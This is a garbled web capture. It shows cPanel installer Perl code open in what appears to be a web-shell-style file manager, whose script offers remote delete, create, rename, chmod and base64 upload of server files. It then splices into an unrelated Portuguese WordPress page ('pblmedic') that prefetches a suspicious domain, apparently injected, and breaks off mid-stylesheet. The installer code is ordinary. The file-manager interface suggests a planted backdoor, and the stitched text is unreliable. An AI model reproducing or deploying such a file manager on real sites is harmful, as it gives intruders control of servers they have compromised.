    if ( abs($change) &gt; 10 ) {
        WARN(&quot;The system changed the clock by $change seconds.&quot;);
        $self-&gt;{&#039;install_start&#039;} = $self-&gt;install_start + $change;
        WARN( &quot;The system adjusted the starting time to &quot; . localtime( $self-&gt;install_start ) . &quot;.&quot; );
    }
    else {
        INFO(&quot;The system changed the clock by $change seconds.&quot;);
    }

    return 1;
}

sub do_initial_clock_update {
    my ($self) = @_;

    # Sync the clock.
    if ( !$self-&gt;update_system_clock ) {
        WARN( &quot;The current system time is set to: &quot; . `date` );    ## no critic(ProhibitQxAndBackticks)
        WARN(&quot;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&quot;);
        WARN(&quot;The installation process could not verify the system time. The utility to set time from a remote host, rdate or chrony, is not installed.&quot;);
        WARN(&quot;If your system time is incorrect by more than a few hours, source compilations will subtly fail.&quot;);
        WARN(&quot;This issue may result in an overall installation failure.&quot;);
        WARN(&quot;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&quot;);
    }
    return;
}

# Start nscd if its not running since it will improve rpm install time
sub start_network_resolution {
    my ($self) = @_;

    return Common::ssystem(&quot;ps -U nscd -h 2&gt;/dev/null || /sbin/service nscd start&quot;);
}

sub DESTROY {
    my ($self) = @_;

    return if $INC{&#039;Test/More.pm&#039;};             # Required for testing.
    return unless $self;
    return unless $self-&gt;{&#039;original_pid&#039;};
    $self-&gt;{&#039;original_pid&#039;} == $$ or return;    # this is a child process so no need to cleanup the lock.
    unlink LOCK_FILE;

    CpanelGPG::cleanup_gpg_homedir();
    return;
}

sub remove_distro_software { die };    # Needs to be implemented in child classes.

# This code is somewhat of a duplication of the code for updatenow that blocks updates based on configuration
# settings. It needs to be here also because of the bootstrap level nature for when this needs to run.
sub check_for_install_version_blockers {
    my ($self) = @_;

    my $lts_version  = $self-&gt;lts_version();
    my $tier         = CpanelConfig::tier();
    my $product_name = $self-&gt;product_name();

    if ( $self-&gt;is_wp2 ) {

        if ( $self-&gt;distro_major != 8 ) {

            # do not check for CloudLinux yet:
            #   - we are going to attempt to deploy CloudLinux when possible
            #   - the build itself aborts on unsupported distro
            FATAL(&quot;$product_name only supports CloudLinux 8 distribution.&quot;);
        }

        # we could also check for build.json
        # Also, we can&#039;t use the &#039;a&#039; modifier on regexp here until CloudLinux 6
        # is not a supported install target. Please add it back after that is
        # no longer a concern.
        my $is_wp2_version = $self-&gt;cpanel_version =~ m&lt;^(11\.)?\d+[13579]\.8\d{3}&gt;
          || $self-&gt;cpanel_version =~ m{^(11\.)?\d+[02468]\.1(?:\.|$)};

        if ( !$is_wp2_version ) {
            FATAL( &#039;Unusupported version &quot;&#039; . $self-&gt;cpanel_version . qq[&quot; for $product_name.] );
        }

    }

    my $should_block_msg = $self-&gt;_should_block_on_this_version_and_os();
    FATAL($should_block_msg) if $should_block_msg;

    my $staging_dir = CpanelConfig::x_from_config(&#039;STAGING_DIR&#039;);
    if ( $staging_dir ne &#039;&#039; &amp;&amp; $staging_dir ne &#039;/usr/local/cpanel&#039; ) {
        FATAL(&quot;STAGING_DIR must be set to /usr/local/cpanel during installs.&quot;);
    }

    # pull in cpanel.config settings or return if the file&#039;s not there (defaults will assert)
    my $cpanel_config = CpanelConfig::read_config(&#039;/var/cpanel/cpanel.config&#039;);

    # This is distro specific.
    $self-&gt;verify_mysql_version($cpanel_config);

    if ( defined $cpanel_config-&gt;{&#039;mailserver&#039;} &amp;&amp; $cpanel_config-&gt;{&#039;mailserver&#039;} !~ m/^(dovecot|disabled)$/i ) {
        FATAL(&quot;You must use &#039;dovecot&#039; or &#039;disabled&#039; for the mailserver in the /var/cpanel/cpanel.config file for cPanel &amp; WHM version $lts_version.&quot;);
    }

    if ( defined $cpanel_config-&gt;{&#039;local_nameserver_type&#039;} &amp;&amp; $cpanel_config-&gt;{&#039;local_nameserver_type&#039;} !~ m/^(powerdns|bind|disabled)$/i ) {
        FATAL(&quot;You must use &#039;powerdns&#039;, &#039;bind&#039; or &#039;disabled&#039; for the local_nameserver_type in the /var/cpanel/cpanel.config file. For more information, see: https://docs.cpanel.net/whm/service-configuration/nameserver-selection/&quot;);
    }

    return;

}

sub _should_block_on_this_version_and_os {
    my ($self) = @_;
    my ( $lts_version, $product_name ) = ( $self-&gt;lts_version(), $self-&gt;product_name() );
    my ( $distro, $major, $minor ) = @{ $self-&gt;{&#039;os&#039;} }{qw{distro major minor}};
    my %errors = (
        &#039;no_debian&#039;     =&gt; &quot;Ubuntu is the only debian distro currently supported by $product_name&quot;,
        &#039;above_maximum&#039; =&gt; &quot;$product_name does not support $distro $major.$minor on version $lts_version. For more information, read about our supported versions at https://go.cpanel.net/system-requirements&quot;,
        &#039;below_minimum&#039; =&gt; &quot;You cannot install versions of $product_name prior to $product_name version &quot; . MINIMUM_CPANEL_VERSION_SUPPORTED . &#039;.&#039;,
    );
    return $errors{&#039;no_debian&#039;} if $self-&gt;distro_type eq &#039;debian&#039; &amp;&amp; $self-&gt;distro_name ne &quot;ubuntu&quot;;
    my $max_version = OS_MAXIMUM_VERSIONS-&gt;{&quot;${distro}${major}&quot;};
    return $errors{&#039;above_maximum&#039;} if $max_version                                    &amp;&amp; $lts_version &gt; $max_version;
    return $errors{&#039;below_minimum&#039;} if $lts_version &lt; MINIMUM_CPANEL_VERSION_SUPPORTED &amp;&amp; !$self-&gt;{&#039;options&#039;}{&#039;force&#039;};
    return;
}

sub bootstrap_cpanel_perl {
    my ($self) = @_;

    # Make sure the cPanel key is in place.
    CpanelGPG::fetch_gpg_key_once();

    my $cpanel_version = $self-&gt;cpanel_version;

    # Install cPanel files.
    INFO(&quot;Installing bootstrap cPanel Perl&quot;);

    # Download the tar.gz files and extract them instead.
    my $script = &#039;fix-cpanel-perl&#039;;
    my $source = &quot;/cpanelsync/$cpanel_version/cpanel/scripts/$script.xz&quot;;

    unlink $script;

    DEBUG(&quot;Retrieving the $script file from $source if available...&quot;);

    # download file in current directory (inside the self extracted tarball)
    Common::cpfetch($source);

    chmod 0700, $script;

    INFO(&quot;Running script $script to bootstrap cPanel Perl.&quot;);

    my $exit;

    # Retry a few times if one of the http request failed
    my $max = 3;
    foreach my $iter ( 1 .. $max ) {
        $exit = Common::ssystem(&quot;./$script&quot;);
        if ( $exit == 0 ) {
            INFO(&quot;Successfully installed cPanel Perl minimal version.&quot;);
            return;
        }

        WARN(&quot;Run #$iter/$max failed to run script $script&quot;);
        last if $iter == $max;
        sleep 5;
    }

    my $signal = $? % 256;

    # This isn&#039;t going to return actually. It&#039;s going to die.
    ERROR(&quot;Failed to run script $script to bootstrap cPanel Perl.&quot;);
    return FATAL(&quot;The script $script terminated with the following exit code: $exit ($signal); The cPanel &amp; WHM installation process cannot proceed.&quot;);
}

sub pre_checks_while_waiting_for_fix_cpanel_perl {
    my ($self) = @_;

    # Make sure the OS is relatively clean.
    $self-&gt;check_no_mysql();

    # Check that we&#039;re in runlevel 3.
    $self-&gt;check_for_multiuser;

    # Assure dnsonly/standard matches chosen installer.
    $self-&gt;check_license_conflict();

    # Convert to CloudLinux for WP2
    $self-&gt;deploy_cloudlinux() if $self-&gt;is_wp2();

    # TODO: Get rid of these files and replace them with /var/cpanel/dnsonly
    # Disable services by touching files.
    if ( $self-&gt;is_dnsonly() ) {
        my @dnsonlydisable = qw( cpdavd );
        foreach my $dis_service (@dnsonlydisable) {
            $self-&gt;touch( &#039;/etc/&#039; . $dis_service . &#039;disable&#039; );
        }
    }

    create_slash_scripts_symlink();

    # Some checks may be done in the child class.
    return;
}

sub create_slash_scripts_symlink {
    if ( -e &#039;/scripts&#039; &amp;&amp; !-l &#039;/scripts&#039; ) {
        if ( !-d &#039;/scripts&#039; ) {
            WARN(&quot;The system detected /scripts as a file. Moving it to a new location...&quot;);
            Common::ssystem( qw{/bin/mv /scripts}, &quot;/scripts.o.$$&quot; );
        }
        else {
            WARN(&quot;The system detected the /scripts directory. Moving its contents to the /usr/local/cpanel/scripts directory...&quot;);
            Common::ssystem(qw{mkdir -p /usr/local/cpanel/scripts});
            Common::ssystem(&#039;cd / &amp;&amp; tar -cf - scripts | (cd /usr/local/cpanel &amp;&amp; tar -xvf -)&#039;);
            Common::ssystem(qw{/bin/rm -rf /scripts});
        }
    }
    unlink qw{/scripts};

    # This symlink *must* be relative in order to allow future in-place OS upgrades.
    symlink(qw{usr/local/cpanel/scripts /scripts}) unless -e &#039;/scripts&#039;;

    if ( !-l &#039;/scripts&#039; ) {
        WARN(&quot;The /scripts directory must be a symlink to the /usr/local/cpanel/scripts directory. cPanel &amp; WHM does not use the /scripts directory.&quot;);
    }
    else {
        DEBUG(&#039;/scripts symlink is set to point to /usr/local/cpanel/scripts&#039;);
    }

    return;
}

sub check_no_mysql {

    # This can cause failures if the database is newer than the version we&#039;re
    # going to install.
    INFO(&#039;Checking for an existing MySQL or MariaDB instance...&#039;);

    my $mysql_dir = &#039;/var/lib/mysql&#039;;
    return unless -d $mysql_dir;
    my $nitems = 0;
    if ( opendir( my $dh, $mysql_dir ) ) {
        $nitems = scalar grep { !/\A(?:\.{1,2}|lost\+found)\z/ } readdir $dh;
        closedir($dh);
    }
    return unless $nitems;

    ERROR(&quot;The installation process found evidence that MySQL or MariaDB was installed on this server:&quot;);
    ERROR(&quot;The $mysql_dir directory is present and not completely empty.&quot;);
    FATAL(&#039;You must install cPanel &amp; WHM on a clean server.&#039;);
    return;
}

sub check_for_multiuser {
    my ($self) = @_;

    # If we can detect multiuser, then we&#039;re good. Do no more checks.
    return if $self-&gt;check_systemd_multiuser_target;
    return $self-&gt;check_runlevel;    # Will fail if it doesn&#039;t succeed.
}

# This code is probably dead for all systemd systems. It&#039;s not clear when a system would be valid with multi-user being inactive but runlevel being 3.
# This code can probably be removed when we drop RHEL 6 support.
sub check_runlevel {
    my ($self) = @_;

    # From `man runlevel` :
    #       Table 1. Mapping between runlevels and systemd targets
    #       ┌─────────┬───────────────────┐
    #       │Runlevel │ Target            │
    #       ├─────────┼───────────────────┤
    #       │0        │ poweroff.target   │
    #       ├─────────┼───────────────────┤
    #       │1        │ rescue.target     │
    #       ├─────────┼───────────────────┤
    #       │2, 3, 4  │ multi-user.target │
    #       ├─────────┼───────────────────┤
    #       │5        │ graphical.target  │
    #       ├─────────┼───────────────────┤
    #       │6        │ reboot.target     │
    #       └─────────┴───────────────────┘

    my $runlevel = `runlevel`;    ## no critic(ProhibitQxAndBackticks)
    chomp $runlevel;
    my ( $prev, $curr ) = split /\s+/, $runlevel;

    my $message;

    # currently we allow runlevel 3 or 5, as 5 is the default even on Ubuntu Server, just with no X installed or running
    # runlevel can also return unknown
    if    ( !defined $curr )           { $message = &quot;The installation process could not determine the server&#039;s current runlevel.&quot;; }
    elsif ( $curr != 3 &amp;&amp; $curr != 5 ) { $message = &quot;The installation process detected that the server was in runlevel $curr.&quot;; }
    else                               { return; }

    # the system claims to be in an unsupported runlevel.
    if ( $self-&gt;force ) {
        WARN($message);
        WARN(&#039;The server must be in runlevel 3 or 5. Proceeding anyway because --force was specified!&#039;);
        return;
    }

    ERROR(&quot;The installation process detected that the server was in runlevel $curr.&quot;);
    FATAL(&#039;The server must be in runlevel 3 or 5 before the installation can continue.&#039;);

    return die &quot;unreachable code&quot;;
}

sub check_systemd_multiuser_target {
    my ($self) = @_;

    return if $self-&gt;distro_major == 6;    # Cloudlinux 6 is the only thing we support that&#039;s not systemd.

    local $?;
    `systemctl is-active multi-user.target &gt;/dev/null 2&gt;&amp;1`;    ## no critic(ProhibitQxAndBackticks)
    return 1 if $? == 0;                                        # We&#039;re in multiuser state.
    if ( $self-&gt;force ) {
        WARN(&#039;The installation process detected that the multi-user.target is not active (boot is probably not finished).&#039;);
        WARN(&#039;The multi-user.target must be active. Proceeding anyway because --force was specified!&#039;);
    }
    else {
        ERROR(&#039;The installation process detected that the multi-user.target is not active (boot is probably not finished).&#039;);
        FATAL(&#039;The multi-user.target must be active before the installation can continue.&#039;);
    }

    return;
}

sub verify_url {
    my ( $self, $ip ) = @_;
    $ip ||= &#039;&#039;;

    return qq[https://verify.cpanel.net/xml/verifyfeed?ip=$ip];
}

#
#   block cPanel&amp;WHM install when a DNSONLY license is valid for the server
#   block DNSONLY license when a cPanel license is valid for the server
#
sub check_license_conflict {
    my ($self) = @_;

    return if $self-&gt;skip_license_check;

    my $ip = guess_ip();

    # skip check and continue install if we cannot guess up
    return unless defined $ip;

    INFO(&quot;Checking for existing active license linked to IP &#039;$ip&#039;.&quot;);

    my $verify_license_xml = q[verify.license.xml];

    my $url = $self-&gt;verify_url($ip);

    # check verify.cpanel.net - the xml one...
    Common::fetch_url_to_file( $url, $verify_license_xml );

    my $active_basepkg = 0;
    my $package        = &quot;&quot;;

    {
        open( my $fh, &#039;&lt;&#039;, $verify_license_xml ) or FATAL(&quot;Cannot read file $verify_license_xml.&quot;);
        while ( my $line = &lt;$fh&gt; ) {

            next unless $line =~ m/status=&quot;1&quot;/;     # package is active
            next unless $line =~ m/basepkg=&quot;1&quot;/;    # package is a base package (skipping packages like kernelcare, cloudlinux &amp; co)

            if ( $line =~ m/producttype=&quot;([0-9]+)&quot;/ ) {
                $active_basepkg = $1;
                $line =~ m/package=&quot;([^&quot;]+)&quot;/;
                $package = $1;

                last;
            }
        }
    }

    if ( $self-&gt;is_wp2 ) {

        my $is_internal_network = $ip =~ m{^10\.};    # Note: ip is coming from MYIP

        if ( !$is_internal_network ) {                # skip the license check behind internal network

            # check for the WP2 license
            if ( $active_basepkg != PRODUCT_WP2 ) {
                ERROR(&quot;Unexpected license type found for your IP: https://verify.cpanel.net/app/verify?ip=$ip&quot;);
                FATAL(&quot;Installation aborted. Cannot find a valid WP Squared license for your IP: $ip.&quot;);
            }
        }

        return;
    }

    return unless $active_basepkg;

    if ( $self-&gt;is_dnsonly ) {

        # we cannot install dnsonly if a cPanel license exists
        if ( $active_basepkg != PRODUCT_DNSONLY ) {
            unlink &#039;/var/cpanel/dnsonly&#039;;
            ERROR(&quot;Unexpected license type found for your IP: https://verify.cpanel.net/app/verify?ip=$ip&quot;);
            ERROR(&quot;Current active package is $package&quot;);
            FATAL(&quot;Installation aborted. Perhaps you meant to install latest instead of latest-dnsonly? If not please cancel your cPanel license before installing a cPanel DNSONLY server.&quot;);
        }
    }
    else {
        # we cannot install cPanel if a dnsonly license exists
        if ( $active_basepkg &amp; PRODUCT_DNSONLY ) {
            ERROR(&quot;Unexpected license type found for your IP: https://verify.cpanel.net/app/verify?ip=$ip&quot;);
            FATAL(&quot;Installation aborted. Perhaps you meant to install latest-dnsonly instead of latest? If not please cancel your DNSONLY license before installing a cPanel &amp; WHM server.&quot;);
        }
    }

    # everything is fine at this point
    return;
}

sub is_cloudlinux {
    my ($self) = @_;

    return $self-&gt;distro_name eq &#039;cloudlinux&#039;;
}

sub deploy_cloudlinux {
    my ($self) = @_;

    return if $self-&gt;is_cloudlinux();

    my $url = q[https://repo.cloudlinux.com/cloudlinux/sources/cln/cldeploy];

    my $previous_major = $self-&gt;distro_major;

    INFO(&quot;-------------------------------------------------------&quot;);
    INFO(&quot;Converting distribution to CloudLinux $previous_major&quot;);
    INFO(&quot;-------------------------------------------------------&quot;);

    my $cldeploy_tmp = q[cldeploy.tmp];
    Common::fetch_url_to_file( $url, $cldeploy_tmp );

    FATAL(&quot;Fail to fetch CloudLinux installer from $url&quot;) unless -s $cldeploy_tmp;

    my $exit = Common::ssystem( &#039;/usr/bin/bash&#039;, $cldeploy_tmp, &#039;-i&#039; );
    unlink($cldeploy_tmp);    # not really necessary: we are inside the temporary self extracted tarball

    INFO(&quot;-------------------------------------------------------&quot;);
    INFO(&quot;.&quot;);

    # clear &amp; detect again (on failures we can also switch to a different distro)
    OSDetect::clear();
    $self-&gt;detect_distro;

    if ( $exit == 0 ) {

        if ( $self-&gt;distro_name ne &#039;cloudlinux&#039; || $self-&gt;distro_major != $previous_major ) {
            FATAL(&quot;Fail to convert to cloudlinux $previous_major&quot;);
        }

        INFO(&quot;-------------------------------------------------------&quot;);
        INFO(&quot;Successfully converted distribution to CloudLinux $previous_major&quot;);
        INFO(&quot;-------------------------------------------------------&quot;);

        return;
    }

    my $error_msg = &quot;Fail to convert distribution to CloudLinux $previous_major.&quot;;

    if ( $self-&gt;skip_license_check ) {
        WARN($error_msg);
        WARN(&quot;Ignoring License Check as --skip-license-check flag was provided.&quot;);
        return;
    }

    FATAL($error_msg);

    return;
}

sub guess_ip {
    my $url = CpanelConfig::myip_url();
    DEBUG(&quot;Using MyIp URL to detect server IP &#039;$url&#039;.&quot;);
    my $file = q[guess.my.ip];

    my $max = 3;
    foreach my $iter ( 1 .. $max ) {
        unlink $file;
        my ( $ok, $msg ) = Common::fetch_url_to_file( $url, $file );
        last if $ok;
        if ( $iter == $max ) {
            FATAL(&quot;Failed to call URL $url to detect your IP.&quot;);
        }
        WARN(&quot;Call to $url fails, giving it another try [$iter/$max]&quot;);
        sleep 3;
    }

    my $ip;

    {
        open( my $fh, &#039;&lt;&#039;, $file ) or FATAL(&quot;Cannot read file $file.&quot;);
        $ip = readline($fh);
        close($fh);
    }

    chomp($ip) if defined $ip;

    if ( !length $ip ) {

        # could also use FATAL - be relax for now to avoid false positives
        WARN(&quot;Fail to guess your IP using URL $url.&quot;);
        return;
    }

    # sanitize the IP - Ipv4 or Ipv6 character set only
    if ( $ip !~ qr{^[0-9a-f\.:]+$}i ) {

        # could also use FATAL - be relax for now to avoid false positives
        WARN(&quot;Invalid IP address &#039;$ip&#039; returned by $url&quot;);
        return;
    }

    return $ip;
}

sub background_download_packages_used_during_initial_install { die &#039;unimplemented&#039; }

# NOTE, this is as &quot;concise&quot; as I could make this, though I&#039;m
# basically copying what Cpanel::FileUtils::TouchFile does.
my @touch_meths = (
    sub { return 1 if utime( undef, undef, $_[0] ) },
    sub { return !Common::ssystem( &#039;/bin/touch&#039;, $_[0] ) },
);

sub touch {
    my ( $self, $file ) = @_;

    foreach (@touch_meths) {
        return if $_-&gt;($file);
    }

    die &quot;Can&#039;t touch file $file&quot;;
}

sub updatenow {
    my ($self) = @_;

    INFO(&quot;Downloading updatenow.static&quot;);

    # Download the tar.gz files and extract them instead.

    my $install_version = $self-&gt;cpanel_version();
    my $source          = &quot;/cpanelsync/$install_version/cpanel/scripts/updatenow.static.bz2&quot;;

    DEBUG(&quot;Retrieving the updatenow.static file from $source...&quot;);

    # download file in current directory (inside the self extracted tarball)
    unlink &#039;updatenow.static&#039;;
    Common::cpfetch($source);
    chmod 0755, &#039;updatenow.static&#039;;
    my $exit;

    my @flags;
    push @flags, &#039;--skipapache&#039;    =&gt; $self-&gt;skip_apache;
    push @flags, &#039;--skipreposetup&#039; =&gt; $self-&gt;skip_repo_setup;

    for ( 1 .. 5 ) {    # Re-try updatenow if it fails.
        INFO(&quot;Closing the installation log and passing output control to the updatenow.static file...&quot;);

        # close the log file so it can be re-opened by updatenow.
        CpanelLogger::close_log_file();

        my $log_file = CpanelLogger::LOG_FILE();
        $exit = system( &#039;./updatenow.static&#039;, &#039;--upcp&#039;, &#039;--force&#039;, &quot;--log=$log_file&quot;, @flags );

        # Re-open file regardless of updatenow success.
        CpanelLogger::open_log_for_append();

        return if ( !$exit );

        DEBUG(&quot;The installation process detected a failed synchronization. The system will reattempt the synchronization with the updatenow.static file...&quot;);
    }

    my $signal = $exit % 256;
    $exit = $exit &gt;&gt; 8;

    FATAL( &quot;The installation process was unable to synchronize cPanel &amp; WHM. Verify that your network can connect to &quot; . CpanelConfig::source() . &quot; and rerun the installer.&quot; );
    FATAL(&quot;The updatenow.static process terminated with the following exit code: $exit ($signal); The cPanel &amp; WHM installation process cannot proceed.&quot;);
    return;
}

sub assure_nobody {

    my $systemd_nobody_file = &#039;/etc/systemd/dont-synthesize-nobody&#039;;
    if ( -d &quot;/etc/systemd&quot; &amp;&amp; !-e $systemd_nobody_file ) {
        if ( open( my $fh, &#039;&gt;&#039;, $systemd_nobody_file ) ) {
            print $fh &#039;&#039;;
            close $fh;
        }
        INFO(&quot;Touch $systemd_nobody_file&quot;);
    }

    my $uid = getpwnam(&quot;nobody&quot;);
    my $gid = getgrnam(&quot;nobody&quot;);
    my @ids = ( 65534, 99 );

    my $user_needs_informed = 0;

    if ( !defined $gid ) {
        $user_needs_informed = 1;

        my $addgroup = -x &#039;/usr/sbin/groupadd&#039; ? &quot;groupadd&quot; : &quot;addgroup&quot;;
        for my $id (@ids) {
            Common::ssystem( $addgroup, &#039;--system&#039;, &#039;--gid&#039;, $id, &#039;nobody&#039;, { &#039;ignore_errors&#039; =&gt; 1 } );
            $gid = getgrnam(&quot;nobody&quot;);
            last if defined $gid;
        }

        if ( !defined $gid ) {
            Common::ssystem( $addgroup, qw/--system nobody/, { &#039;ignore_errors&#039; =&gt; 1 } );
        }

        $gid = getgrnam(&quot;nobody&quot;);
        FATAL(&quot;Could not ensure `nobody` group&quot;) if !defined $gid;
    }

    if ( !defined $uid ) {
        $user_needs_informed = 1;

        my $flags = -x &#039;/usr/sbin/groupadd&#039; ? &quot;&quot; : &quot;--disabled-password --disabled-login&quot;;
        for my $id (@ids) {
            Common::ssystem( &quot;adduser --system --uid $id --gid $gid --home / --no-create-home --shell /sbin/nologin $flags nobody&quot;, { &#039;ignore_errors&#039; =&gt; 1 } );
            $uid = getpwnam(&quot;nobody&quot;);
            last if defined $uid;
        }

        if ( !defined $uid ) {
            Common::ssystem( &quot;adduser --system --gid $gid --home / --no-create-home --shell /sbin/nologin $flags nobody&quot;, { &#039;ignore_errors&#039; =&gt; 1 } );
        }

        $uid = getpwnam(&quot;nobody&quot;);
        FATAL(&quot;Could not ensure `nobody` user&quot;) if !defined $uid;
    }

    # if already done, its a noop. adduser’s --gid does not make this happen
    Common::ssystem( &#039;usermod&#039;, &#039;-g&#039;, $gid, &#039;nobody&#039;, { &#039;ignore_errors&#039; =&gt; 1 } );

    my $home = ( getpwnam(&quot;nobody&quot;) )[7];
    if ( !-d $home ) {
        mkdir $home, 0755;
        chown $uid, $gid, $home;
    }

    if ( !-d $home ) {
        WARN(&#039;Detected non-existent home directory for `nobody`.&#039;);
        WARN(&#039;&#039;);
        WARN(&#039;This situation can result in some harmless STDERR going to your web server’s error log as errors.&#039;);
        WARN(&#039;&#039;);
        WARN(&#039;If you experience this your options are:&#039;);
        WARN(&#039;&#039;);
        WARN(&#039;    1. Ignore the log entries&#039;);
        WARN(&#039;    2. Create the directory “$home” if it is safe to do so.&#039;);
        WARN(&#039;    3. Change the `nobody` user’s home directory to one that exists. e.g. `usermod --home / nobody`&#039;);
        WARN(&#039;&#039;);
    }

    INFO(&quot;&#039;nobody&#039; user created with UID $uid and GID $gid&quot;) if $user_needs_informed;

    return;
}

1;
</textarea>
                    <div style="margin-top:15px;display:flex;gap:8px;">
                        <button class="button button-green">Save</button>
                        <a href="?p=%2Fcpanel_installer" class="button button-red">Cancel</a>
                    </div>
                </form>
            </div>
            </div>
    
    <div id="toast-container" class="toast-container"></div>

    <script>
        const currentPath = '/cpanel_installer';
        
        function showToast(msg, type) {
            const container = document.getElementById('toast-container');
            const toast = document.createElement('div');
            toast.className = 'toast toast-' + type;
            toast.innerHTML = msg + '<span onclick="this.parentElement.remove()" style="cursor:pointer;margin-left:10px;">×</span>';
            container.appendChild(toast);
            setTimeout(() => toast.remove(), 3000);
        }
        
        function ajaxRequest(action, data) {
            const formData = new FormData();
            formData.append('ajax_action', action);
            for(const key in data) formData.append(key, data[key]);
            return fetch(window.location.pathname, { method: 'POST', body: formData }).then(r => r.json());
        }
        
        function ajaxDelete(path, btn) {
            if(!confirm('Delete?')) return;
            const row = btn.closest('tr');
            row.style.opacity = '0.5';
            ajaxRequest('delete', {path}).then(r => {
                if(r.success) { row.remove(); showToast('Deleted', 'success'); }
                else { row.style.opacity = '1'; showToast(r.message || 'Failed', 'error'); }
            });
        }
        
        function showCreateFile() {
            const name = prompt('File name:', 'newfile.txt');
            if(name) {
                const content = prompt('Content:', '');
                ajaxRequest('create', {path: currentPath, name, type: 'file', content: content || ''})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showCreateFolder() {
            const name = prompt('Folder name:', 'newfolder');
            if(name) {
                ajaxRequest('create', {path: currentPath, name, type: 'dir'})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showRename(path, name) {
            const newName = prompt('New name:', name);
            if(newName && newName !== name) {
                ajaxRequest('rename', {old_path: path, new_name: newName})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showChmod(path, current) {
            const mode = prompt('Permissions (e.g. 755):', current);
            if(mode && mode !== current) {
                ajaxRequest('chmod', {path, mode})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function uploadFileB64(input) {
            const file = input.files[0];
            if(!file) return;
            showToast('Uploading: ' + file.name, 'success');
            const reader = new FileReader();
            reader.onload = function(e) {
                const b64 = e.target.result.split(',')[1];
                const formData = new FormData();
                formData.append('ajax_action', 'b64upload');
                formData.append('path', currentPath);
                formData.append('name', file.name);
                formData.append('data', b64);
                fetch(window.location.pathname, { method: 'POST', body: formData })
                    .then(r => r.json())
                    .then(r => {
                        if(r.success) { showToast('Uploaded: ' + file.name, 'success'); setTimeout(() => location.reload(), 500); }
                        else { showToast('Failed: ' + (r.message || 'Unknown error'), 'error'); }
                    })
                    .catch(err => showToast('Error: ' + err.message, 'error'));
            };
            reader.readAsDataURL(file);
            input.value = '';
        }
        
        function searchFiles(query) {
            query = query.toLowerCase();
            document.querySelectorAll('#file-list tr[data-name]').forEach(row => {
                row.style.display = row.dataset.name.includes(query) ? '' : 'none';
            });
        }
        
        document.addEventListener('keydown', function(e) {
            if(e.ctrlKey && e.key === 'f' && !e.target.matches('input,textarea')) { 
                e.preventDefault(); 
                document.getElementById('search-input').focus(); 
            }
        });
    </script>
</body>
</html><!doctype html>
<html lang="pt-BR">
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<link rel="profile" href="https://gmpg.org/xfn/11">
	<title>pblmedic</title>
<meta name='robots' content='max-image-preview:large' />
<link rel='dns-prefetch' href='//gixxipi9823.life' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="Feed para pblmedic &raquo;" href="https://pblmedic.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Feed de comentários para pblmedic &raquo;" href="https://pblmedic.com/comments/feed/" />
<style id="wp-img-auto-sizes-contain-inline-css">
img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
/*# sourceURL=wp-img-auto-sizes-contain-inline-css */
</style>
<style id="wp-emoji-styles-inline-css">

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
/*# sourceURL=wp-emoji-styles-inline-css */
</style>
<style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-break:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html 